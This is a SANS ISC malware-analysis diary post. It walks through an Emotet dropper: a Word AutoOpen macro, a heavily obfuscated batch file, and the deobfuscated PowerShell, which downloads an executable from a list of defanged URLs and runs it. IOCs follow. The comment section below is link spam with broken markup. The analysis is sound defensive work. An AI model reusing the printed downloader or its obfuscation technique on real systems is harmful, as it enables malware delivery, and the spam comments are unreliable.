Windows Batch File Deobfuscation

Published: 2018-07-26
Last Updated: 2018-07-26 06:17:11 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Last Thursday, Brad published a diary[1] about a new ongoing campaign delivering the Emotet[2] malware. I found another sample that looked the same. My sample was called 'Order-42167322776.doc’ (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3[3] and looked the same as the one analyzed Brad. The infection chain was almost the same:

Spphishingsing > URL > Word > Batch File > Powershell Script > Emotet

I checked deeper the VBA macro and the batch file (launched via cmd.exe). The Word document contains indeed a macro that is split into two parts:

$ oledump.py Order-42167322776.doc
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:     13510 '1Table'
  5:     42348 'Data'
  6:       451 'Macros/PROJECT'
  7:        89 'Macros/PROJECTwm'
  8: M   55285 'Macros/VBA/YaRCzHvjhlTcHt'
  9:     22067 'Macros/VBA/_VBA_PROJECT'
 10:      1259 'Macros/VBA/__SRP_0'
 11:       106 'Macros/VBA/__SRP_1'
 12:       292 'Macros/VBA/__SRP_2'
 13:       103 'Macros/VBA/__SRP_3'
 14:       592 'Macros/VBA/dir'
 15: M    2444 'Macros/VBA/jovqOBvRlNiVR'
 16:      4096 'WordDocument'

"jovqOBvRlNiVR" contains the AutoOpen() function and is quite simple:

Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
   wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + \
            hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + \
            YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + \
            wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + \
            JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + \
            hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub

The module "YaRCzHvjhlTcHt" contains more functions and the real obfuscated code. The code is easy to understand: multiple functions are called and each of them returns a piece of obfuscated code that is concatenated to generate (and launch) an interesting batch file. Here is a dump of the generated code (beautified):

cmd /c  CMd  /v: /c "sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ 
\/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -_-\/\\_-_///\- //-__--\_-\//_\ --_\_///-\\-\
/_ _/-\\-\/\-_/-__ --_//__--_/\\\\ -\/_\-/_\/-\/-_ _/-/\\\/-__/\-- --\/-//\/\_\-__ --/\___/\//\_\-}\\/-__/-_/
/_\\-}\\//_\\_--_/--_{_-//__-\/\--/\\h_/\/_/\-/\-_--_c_\_/\/-\--/\/-_t//_\--\_//\--\_a\-_\\__--/-///\c/-\_/-_
\_\/_-/-}/\_/\\___-/--\-;_-/_--//\\-/\\_k\_/-_\//_-_-\\/a-\/\/_-/-\-\_/_e-_\_-\-/_/\//-\r-//_\_\_\-_-//\b--\_
//\-_//\__-;//\/\-_-\\/_-_-h-_-\/_-\\/_//_\c-/\-_\///\\_-__t-\-_/-/\/-_\_/_$_\/-_\-\-\/-/__ //_\---\_/-\/__s-
/\/_/-\_-\-__\s/-//\_/\-\_-__-e--\\_--//__//\_c-\-\\///__\--/_o\_\/-\-/\-/_-__r_\---_\\///-\_/P\__-//-_\\//_-
--/_\/--\-__/\_-/t\//___/-/\\\-_-r\\-\-/\-_/-/_/_a/\-/\\\/-/-____t-/\__\_/-\/--\/S-__/-\\__--\/\/;\_\-\//--__
\_/-)-\-_//_\--//\__h/\-_/--_\\\__/-c\-\_-_//-/_\-_/t_//-_/_\-\-\-/\$--/__-/\_/_-/\\ -\/__//-\_-/\\_,\\/-_\_/
--_\_-/z\/-\/_//_-_\-_\U/__-\_\/-/-\-\_C--_--\__////\\\$/-\__--/\_\\/_/(-/-_/_/__\-/\\-e/\\\_/\-_-//__-l_//\\
/_--_/\--_i_\//-/\_\---_/_F\\__/_\-\--_///d-_\\\-/__//-_\-a_-/-\\/-__\-//\o\-/\__-\_-///-\l/\//_--\_\__\--n_-
_\\-\/_\/-/_-w_\\/-\_//_---_/o-//__\/\-\\-_-_D//\/--_--__\/\_.//\/\/-\__--_-\s//-_\_/\_\\_/--i/\/_-_-/\\/__\-
o_-/_/-/\\__\\--$\\-/-_\-/_/_-\/{_-\/\-\//_-\/__y-\_/_/_-/-\-\/_r\//-/_-\_-\\-__t-//_-\/-\-\_\__{-_/\-_\\\-//
__-)_-/\_\/\-//-_\_Y\-//-\-_\/-__\_U/-_/\-/-\__\_-/w/\-__\_-\/\-/-/$\/\_\-///\--___ /\-/-_-__/_\-\\n/__-\-/\\
/\/_-_i//_\-_\_\--\/_/ -___//_/\--\/\-z-_//\-_-//-\\\_U/\--_/-_\\-_/\_C/\_\-\-_/-_/\_/$/--\\__\//_-/\-(_-_//\
\\\_-/-_/h_///\\\-_--/_\_c\-_/_-/\_\-_/\-a/\-\--\//-__/__e-\///-\/_\-\-__r_/--//\\\\/___-o-//-\_/\-_/-_\\f/_/
-\_-//-\__\\;_\_--/\\_/--//_'/-_-\-//\__\/\-e/\-\-_//\\-_/__x/_-__\\\_--\-//e--_-/\-/\_\//__./____\/\\/-\/--'
//-\_\_---/_/_\+-\/--\\\/__-//_q-\\__/-\/_\-_/-L/-/\-_/-_/\\-_\V_-\\_\--///-_\_$/\-__//-\/\\__-+-/-_-_//\-_\\
\/'\\-_-_///\--/__\\_\\__-_//-/-/-'-_-/_-\/\-/\\__+\_/\\//_----_\/p\/\-\/__/-/__-\m_\/-_-/\__-/-\/e/\/_/\-__\
\-/-_t/-\__\-/\-/_\_/://\-\-/_\\_--_/v/--\__/_/_-\\/\n//--\__\__\--\/e-_/-/_/\\/\_-_-$\_-\\_\-///--/_=//\\-\/
_-__/-_-h_/-\/-//_\\_-\_c-/_-/\/\__\-/\-t\\-__//_/\_-\/-$\-_//-\_-/__/\-;-/\-_//\-/\_\-_'/-/--\_\-/_\/__6\-_/
//\/\-_-_-_8\-_-/-_\/\_/-\_9_/-\-__\/-/_\-/'/-_/\-_\_//-\-_ __\\\-/_--//-\/=\__\-\--\/_//-/ -_/\-/\_/-/-\\_q\
-__\_-//\/\-/-L\\--/_//_\-/\_-V-//___/\--\-\\_$\-//_/_\--/\\__;\/_/\-/_\/--\-_)\_-/__-_/-\-//\'-_/\/--_/_-\\/
\@-\-/-_/_/\-_\_/'\_\-\__-/_--///(\-\\/--\/_/-/__t\-\/-/-\//_\__-i__-/-\\\//\_-_/l-//\-/_-\\\/___p_-\/\\-/_/_
-_\-S/-\\\__/--__\/-.\\-\/__\_/_/--/'\-_/-/-//-\\\__m-_\\-\/_/_\-/_/a_//\\\__--/-\_-/_\_-_\/-\/\//_-k\/_/-__/
\\-\-_/u\\/_//\_-/\_---.//\\-\-/_\__/--o\_/-\_/\_-//_-\c\-/_\-_//-\/_-\.\/_\///_\--\-_-e/\-___\-//\\/_-g/--_\
-_-\/\\__/a--\\_\-/__/\_//u-_\/_\\//-_-/\_g-_\/_/_-/-_/\\-n_//--_\\/\/_--\a\_//-\--\___//-l-_\//-_/_/\_-\-t-_
-_/\\_//-/\\-i\__\\/---_\-//_/-/\-_/--\/__\_\//_/\\---\/___-/:-\\-/_-/_-__/\\p__---/-_\//\\\_t-\_//\/_-_-\\/-
t_/\\-__\--_/-/\h\-//\-_\/_/-__\@//--_/\/\\\-_-_X\_/-\_\\-//_-_-v-\/_\-\\//--/__7_--\-\_/_\_//-\Q/-/_-\\--_//
\_\d\/_\/-_--/_/\-_c-_//_/\-\\-/\-_/_/--//-\-\/\__\n/\_-/\_\/-\__-/v\--/--\//_\_\/_.-/_\_-\\__--\//m/\-\/_-_/
--\/_\o--//\\_/__-\-\_c-///\\__--/__\-._\_-//_/---\_\\o_-\-_-/_/-_/\\\c-___-/_/\--\/\/h_-\-\_--/\\_///c\\--\-
__//-_/_\e/_\_\_\----_///t_\/\/\--_--_/\_a___/--\/\_-\\///-_/\\/--/\/-\__//\_--/-\_\/_-/_:-/___/\/_-\\-/-p_/-
-\-_\\/-__/\t\/\/_\_/-_--_\-t_\-/\/\-/_/-_-_h//_\__/--\/\-_-@\-/--\-\_/_/_/\K/-/\-/_-/\_\_-_4\-/_\_/_-\\//-_b
\/\_/_--/-/_\_-R\-//_/-_\\__-/-0\-_\/_/_/---\_\S/_/-\\//___\-\-G/-\\--/\/\_/__-/\___/--/\\/\--_w_/\/--\_-\_-\
_/t__\--_\--/_//\\._/_-\\_-\-\_/-/m\--/\_//\_/\-_-o\/\\\_-//___---c/_/__/-\/\-_-\\._//__--\/-\/_-\t-__\/\--\/
/-/_\i\_-__/\-/\-/\-/p-///_\_-_\-/_\-u//-__/-_--\/\\_/-/-__\\//\-\_-_/_/_//\-\_-_/\--:-__/_\\/\-_-/\/p_\\/--_
-//__\-\t//-\\_\_/-\--_/t\\\/__///---\_-h_\/_/--\/\-__/\@-_\/\__\_\-/-//X\-/\-_-\\/-//__1--_\\/\\/_/_/-_K-_-/
_\_/--/\\_\/\/--\__-\_\/-_/g//\/__\__-/-\-\r//\-_\-___/\-/\o-\--/__-/\\_\/_.///_\-_\_-/-\_\e\\/_--_\-///-_\t-
_--_\/\-\__\//u/_/--/_\-\_/_\\a--_\\_\/_\-//-/b\_//_-/\/\_-_--/__\-\/\-\_//--_/-__--/_\\\//_/\:/_\\/_--/--__/
\p\_-\/-/__\//\-_t__-_-_/-/-\\\//t/_--\-_/_\/_\\-h-_\\_///-_-\_/-@-_\_-//_--/_\\/p__\\-/\-/-\-//_e/\_\_-/-_\-
\//_e\\-_/_-/-_\_-/\B/---_\///\_-\__P/\\_-/__\/-_/\-/\-\/\--_//-_\_/m\\\_-/_--/__-\/o//_\/_\-__-\/\-c/_//_--\
/\_-\_\._/--/_/\_-/_\-\s-__\/_-\/-_\-\/r__-//\\_--\//_\o/\__/\\-//_-_-\t//-_-_\-__\\/-/c/\_-/\/_--/_\\_a\\/_\
-/___-\--/g-_/_-\_-\//_/-\n\/_-\/-/\_-__\/u\\/_/_\---_\_//o/\//-_-\/_\-\__y_/-\_-/\\-_/_\/c/-_/\--_\\/\_-/o_\
-\/_/-_-\-_//./_\--___/\-\/-\w_\-//\/_\_-_-\-w_\-_-/\-/\\-/__w--/_/\/\-_/_\-_/\_\//__--/_/-\-/_//_-/--\\/\_\_
:-//--\_\_/\-_\_p_\\\\_/-_-//-_-t_/_/-/_\\\--\/-t__-/\\_--_\/-/\h/_-//\/_\---_\\'_//_/--_\\-\_-\=_/--\--_\_\/
_//Y-//_\/\_-_\_--\U-_/_\-\-_\///-_w_\/---//_/-_\\\$\\//-\_\/-_/_-_;--///_\\/__\-\-t-/\/-__-\/-_\\/n/\-_/_\__
\//---e\_\--_/__\/\--/i///--__\_\\_\-/l\--_-_\/_-\/_//C//___\/\_----/\b_/\/_\\--\__-//e--\_/_\/-/\_-/_W/--_-/
\\__/\\-_.-_\\-/\_/_-/\/_t_-/_/\_-\/\-_\/e/-\/-_/_\_\\/--N/_\-_\-__\//\-/ -\/\-_-_\__/\-/t\_\-\/-_///_\-_c-/_
--\_\//_\-_\e\\/---\/-__\/__j/_\/_\\_-/_--/\b_-/_/-_\-/\_\-/o-__\-/-\/__/-\/-_/-/--_/_/\\\\-w_-//---_/__\\/\e
__\_\-/-\/-\/_/n\\/-\__\_/_/-/-=//-\_\/\/__--_\s\//-/\-/-__\-__i-_\_-/_/\_\-//\o\/_\-\_-//_\--/$\///\\/_--\__
-_ /\\\/\-_/-___--l/_/_\-_-_\\-//-l\_-\-\/\-_//_/_e_-\_\--\/_//\/_h_--_\\/\//\__/-s/--_\\-/\//-\__r/_\-\/_/--
-\_/_e\\_-\-\/-_///-_w_\__/\\/--\-/-/o\//_\-\\_//--_-p && 
fOR /L  %h IN (5583, -16, 15) dO sET }{~'=!}{~'!!'{@]:~ %h,  1!&&IF  %h   lss 16 CALL  %}{~':*}{~'!=%“

At first sight, it looks more like some ASCII art but it contains indeed some interesting code. I started to deobfuscate it manually and removed the following characters: ‘-‘, ‘_’, ‘/‘, ‘\’. The result string was the following:

}}{hctac};kaerb;hct$ ssecorPtratS;)hct$ ,zUC$(eliFdaolnwoD.sio${yrt{)YUw$ ni zUC$(hcaerof;'exe.'+qLV$+''+pmet:
vne$=hct$;'689' = qLV$;)'@'(tilpS.'maku.oc.egaugnalti:ptth@Xv7Qdcnv.moc.ochceta:ptth@K4bR0SGwt.moc.tipu:ptth@X1
Kgro.etuab:ptth@peeBPmoc.srotcagnuoyco.www:ptth'=YUw$;tneilCbeW.teN tcejbowen=sio$ llehsrewop

Read it from right to left: ‘powershell …'

The interesting code is the following (beautified):

for /L  %h in (5583, -16, 15) do
    set }{~'=!}{~'!!'{@]:~ %h,  1!
    if  %h lss 16 call %}{~':*}{~'!=%

Variable names are also obfuscated:

  • "{@]" contains the obfuscated string
  • "}{~':*}{~’!" contains the result string

The result string is built by reading one character every 16 positions starting from the end (position 5583). This gives us: ‘p’, ‘o’, ‘w’, …
Once we reach the beginning of the string, %h is lower than 16, the string is executed. Here is the deobfuscated code:

powershell $ois=new-object Net.WebClient;$wUY='hxxp://www.ocyoungactors[.]com/PBeep@hxxp://baute[.]org/K1X@ \
hxxp://upit[.]com.tw/GS0Rb4K@hxxp://atechco[.]com.vn/cdQ7vX@hxxp://itlanguage.co[.]uk/am'.Split('@');
$VLq = '986’;
$tch=$env:temp+'\'+$VLq+'.exe’;
foreach($CUz in $wUY) {
    try {
        $ois.DownloadFile($CUz, $tch);
        Start-Process $tch;
        break;
    }
    catch{}
}         

The Powershell code tries to download the second stage (Emotet) from multiple URLs, dump it to disk and executes it. 

Conclusion: Windows batch files can also be used to deliver obfuscated malicious content and can be very complex. The Windows cmd command line tools have plenty of options[4] and have nothing to envy of the UNIX shells like Bash.

Here are the interesting IOC’s:

  • hxxp://cartan[.]eu/files/EN_en/Invoice/Order-42167322776 (Word document dropper)
  • hxxp://www.ocyoungactors[.]com/PBeep
  • hxxp://baute[.]org/K1X
  • hxxp://upit.com[.]tw/GS0Rb4K
  • hxxp://atechco.com[.]vn/cdQ7vX
  • hxxp://itlanguage.co[.]uk/am
  • 986.exe (SHA256:d61687a80d697d4f2fe5d4267a1c8c2b9a763328e462c99b490f4da9dcfa6b7b)
  • edgeref.exe (SHA256:77d098759f3b498b548d482c7214b6b5677e27520abcf50d2445fc8ade05aad4)
  • Order-42167322776.doc (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3)

[1] https://isc.sans.edu/forums/diary/Recent+Emotet+activity/23908/
[2] https://www.us-cert.gov/ncas/alerts/TA18-201A
[3] https://www.virustotal.com/#/file/4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3/detection
[4] https://ss64.com/nt/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 comment(s)
ISC Stormcast For Thursday, July 26th 2018 https://isc.sans.edu/podcastdetail.html?id=6096

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

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